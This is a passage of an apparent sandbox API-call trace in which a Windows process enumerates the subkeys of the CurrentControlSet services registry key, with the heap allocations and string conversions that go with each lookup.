0x0 [0257.581] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0257.581] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x1de4450, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0257.581] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.582] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.582] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.582] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.582] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x164) returned 0x0 [0257.582] RegCloseKey (hKey=0x154) returned 0x0 [0257.582] RegEnumKeyW (in: hKey=0x164, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Control") returned 0x0 [0257.582] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0257.582] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x1de4720, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0257.582] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.582] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.582] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.582] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.582] RegEnumKeyW (in: hKey=0x164, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Enum") returned 0x0 [0257.582] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0257.582] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x1de4450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0257.582] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.582] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.582] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.582] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.582] RegEnumKeyW (in: hKey=0x164, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0257.582] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0257.582] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x1de4720, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0257.582] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.582] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.583] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.583] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.583] RegEnumKeyW (in: hKey=0x164, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Policies") returned 0x0 [0257.583] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.583] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0257.583] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.583] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.583] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.583] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.583] RegEnumKeyW (in: hKey=0x164, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="services") returned 0x0 [0257.583] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.583] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x1de4720, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0257.583] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.583] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.583] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.583] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.583] RegOpenKeyExW (in: hKey=0x164, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x154) returned 0x0 [0257.583] RegCloseKey (hKey=0x164) returned 0x0 [0257.583] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0257.583] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0257.583] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x1de4450, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0257.583] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.583] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.583] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.583] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.584] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0257.584] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0257.584] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x1de4720, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0257.584] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.584] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.584] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.584] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.584] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0257.584] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0257.584] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x1de4450, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0257.584] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.584] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.584] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.584] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.584] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0257.584] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0257.584] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x1de4720, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0257.585] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.585] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.585] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.585] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.585] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0257.585] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0257.585] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x1de4450, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0257.585] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.585] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.585] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.585] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.585] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0257.585] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0257.585] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x1de4720, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0257.585] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.585] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.585] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.585] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.585] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0257.585] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0257.585] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x1de4450, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0257.585] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.585] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.585] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.585] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.586] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0257.586] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.586] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x1de4720, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0257.586] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.586] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.586] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.586] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.586] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0257.586] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0257.586] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x1de4450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0257.586] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.586] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.586] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.586] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.586] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0257.586] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0257.586] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x1de4720, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0257.586] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.586] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.586] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.586] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.586] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0257.586] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0257.586] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x1de4450, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0257.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.587] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.587] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.587] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.587] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0257.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0257.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x1de4720, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0257.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.587] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.587] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.587] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.587] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0257.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0257.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0257.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.587] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.587] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.587] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.587] RegEnumKeyW (in: hKey=0x154, dwIndex=0xd, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0257.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0257.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x1de4720, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0257.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.587] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.587] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.587] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.587] RegEnumKeyW (in: hKey=0x154, dwIndex=0xe, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adsi") returned 0x0 [0257.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0257.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 